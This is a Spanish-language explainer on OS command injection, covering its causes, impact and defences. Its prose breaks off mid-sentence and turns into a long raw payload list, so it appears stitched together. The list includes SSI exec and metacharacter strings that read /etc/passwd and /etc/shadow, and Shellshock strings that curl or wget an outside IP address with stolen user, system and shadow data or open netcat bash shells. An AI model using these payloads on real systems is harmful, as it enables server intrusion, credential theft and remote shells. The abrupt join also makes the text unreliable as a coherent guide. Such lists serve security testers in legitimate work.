La inyección de comandos es un ataque en el que el objetivo es la ejecución de comandos arbitrarios en el sistema operativo host a través de una aplicación vulnerable. Los ataques de inyección de comandos son posibles cuando una aplicación pasa datos inseguros suministrados por los usuarios (formularios, cookies, encabezados HTTP, etc.) a un shell del sistema. En este ataque, los comandos del sistema operativo suministrado por el atacante generalmente se ejecutan con los privilegios de la aplicación vulnerable. Los ataques de inyección de comandos son posibles en gran medida debido a la validación de entrada insuficiente.
Este ataque difiere de la inyección de código, ya que la inyección de código le permite al atacante agregar su propio código que luego es ejecutado por la aplicación. En la inyección de comandos, el atacante extiende la funcionalidad predeterminada de la aplicación, que ejecuta los comandos del sistema, sin la necesidad de inyectar código.
La inyección de comandos del sistema operativo es una vulnerabilidad crítica que permite a los atacantes obtener un control completo sobre un sitio web afectado y el servidor web subyacente.
Las vulnerabilidades de inyección de comandos del sistema operativo surgen cuando una aplicación incorpora los datos del usuario en un comando del sistema operativo que ejecuta. Un atacante puede manipular los datos para que sus propios comandos se ejecuten. Esto permite al atacante llevar a cabo cualquier acción que la aplicación en sí pueda llevar a cabo, incluida la lectura o modificación de todos sus datos y realizar acciones privilegiadas.
Además del compromiso total del servidor web en sí, un atacante puede aprovechar una vulnerabilidad de inyección de comandos para pivotar el ataque en la infraestructura interna de la organización, accediendo potencialmente a cualquier sistema al que el servidor web pueda acceder. También pueden crear una posición persistente dentro de la organización, continuando accediendo a sistemas comprometidos incluso después de que se haya solucionado la vulnerabilidad original.
Las vulnerabilidades de inyección del comando del sistema operativo surgen cuando una aplicación incorpora datos controlables por el usuario en un comando procesado por un intérprete de comando shell. Si los datos del usuario no están estrictamente validados, un atacante puede usar Shell Metacharacters para modificar el comando que se ejecuta, e inyectar comandos arbitrarios adicionales que el servidor ejecutará.
Las vulnerabilidades de inyección de comandos del sistema operativo suelen ser muy graves y pueden llevar al compromiso del servidor que aloja la aplicación, o de los datos y la funcionalidad de la aplicación. También puede ser posible usar el servidor como plataforma para ataques contra otros sistemas. El potencial exacto de explotación depende del contexto de seguridad en el que se ejecuta el comando y los privilegios que este contexto tiene con respecto a los recursos confidenciales en el servidor.
Si es posible, las aplicaciones deben evitar incorporar datos controlables por el usuario en los comandos del sistema operativo. En casi todas las situaciones, existen métodos alternativos más seguros para realizar tareas a nivel de servidor, que no se pueden manipular para realizar comandos adicionales que el previsto.
Si se considera inevitable incorporar datos proporcionados por el usuario en los comandos del sistema operativo, las siguientes dos capas de defensa deben usarse para evitar ataques:
Los datos del usuario deben validarse estrictamente. Idealmente, se debe usar una lista blanca de valores aceptados específicos. De lo contrario, solo se deben aceptar cadenas alfanuméricas cortas. Se debe rechazar la entrada que contenga cualquier otro datos, incluido cualquier metacharacter o espacios en blanco.
La aplicación debe usar API de comandos que inician un proceso específico a través de su nombre y parámetros de línea de comandos, en lugar de pasar una cadena de comando a un intérprete de shell que admite el encadenamiento y la redirección de comandos. Por ejemplo, el Java API Runtime.exec y el proceso API ASP.NET. Esta defensa puede mitigar
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>